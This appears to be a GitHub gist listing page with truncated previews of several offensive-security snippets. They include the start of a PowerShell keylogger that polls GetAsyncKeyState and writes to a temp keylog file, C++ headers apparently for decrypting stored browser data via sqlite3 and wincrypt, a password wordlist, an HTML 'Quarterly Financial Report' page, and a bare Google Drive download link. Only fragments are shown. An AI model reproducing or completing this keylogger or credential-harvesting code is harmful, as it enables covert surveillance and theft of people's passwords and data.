This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class Win32 { | |
| [DllImport("user32.dll")] | |
| public static extern short GetAsyncKeyState(int vKey); | |
| } | |
| '@ | |
| $logFile = "$env:TEMP\keylog.txt" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://x.com/DanteTheDon/status/1990971315466199437 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Write-Host "doing something cool with a TTP" |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <title>Quarterly Financial Report</title> | |
| <style> | |
| body { | |
| font-family: Segoe UI, Arial, sans-serif; | |
| background: #f5f5f5; | |
| text-align: center; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://x.com/ItsMattsLaw/status/1990939108651278709 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <windows.h> | |
| #include <shlobj.h> | |
| #include <iostream> | |
| #include <string> | |
| #include "sqlite3.h" | |
| #include <wincrypt.h> | |
| #include <cstdlib> // For system("pause") | |
| #pragma comment(lib, "crypt32.lib") | |
| #pragma comment(lib, "sqlite3.lib") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| !000000 | |
| !000000! | |
| !000000!! | |
| !0000000 | |
| !0000000! | |
| !0000000!! | |
| !00000001 | |
| !000000012 | |
| !0000000123 | |
| !00000002 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://drive.usercontent.google.com/download?id=1J_jz-UqA_WQDqNuaGQbKcl8UCvnSVRWI&export=download&authuser=0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Define the cache directory | |
| $cacheDir = "<your dir>" | |
| Write-Host "Cache directory: $cacheDir" | |
| # Helper function to find byte sequence in a byte array | |
| function Find-ByteSequence { | |
| param ( | |
| [byte[]]$haystack, | |
| [byte[]]$needle | |
| ) |